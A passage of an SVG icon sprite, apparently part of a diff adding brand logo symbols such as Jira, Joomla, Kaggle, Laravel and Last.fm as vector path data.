13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z"></path> + </symbol> + <symbol id="jira" viewBox="0 0 496 512"> + <path d="M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z"></path> + </symbol> + <symbol id="joget" viewBox="0 0 496 512"> + <path d="M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z"></path> + </symbol> + <symbol id="joomla" viewBox="0 0 448 512"> + <path d="M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z"></path> + </symbol> + <symbol id="js" viewBox="0 0 448 512"> + <path d="M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"></path> + </symbol> + <symbol id="js-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"></path> + </symbol> + <symbol id="jsfiddle" viewBox="0 0 576 512"> + <path d="M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z"></path> + </symbol> + <symbol id="kaggle" viewBox="0 0 320 512"> + <path d="M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z"></path> + </symbol> + <symbol id="keybase" viewBox="0 0 448 512"> + <path d="M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z"></path> + </symbol> + <symbol id="keycdn" viewBox="0 0 512 512"> + <path d="M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160"></path> + </symbol> + <symbol id="kickstarter" viewBox="0 0 448 512"> + <path d="M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z"></path> + </symbol> + <symbol id="kickstarter-k" viewBox="0 0 384 512"> + <path d="M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z"></path> + </symbol> + <symbol id="korvue" viewBox="0 0 446 512"> + <path d="M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z"></path> + </symbol> + <symbol id="laravel" viewBox="0 0 512 512"> + <path d="M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z"></path> + </symbol> + <symbol id="lastfm" viewBox="0 0 512 512"> + <path d="M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z"></path> + </symbol> + <symbol id="lastfm-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z"></path> + </symbol> + <symbol id="leanpub" viewBox="0 0 576 512"> + <path d="M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"></path> + </symbol> + <symbol id="less" viewBox="0 0 640 512"> + <path d="M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z"></path> + </symbol> + <symbol id="line" viewBox="0 0 448 512"> + <path d="M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 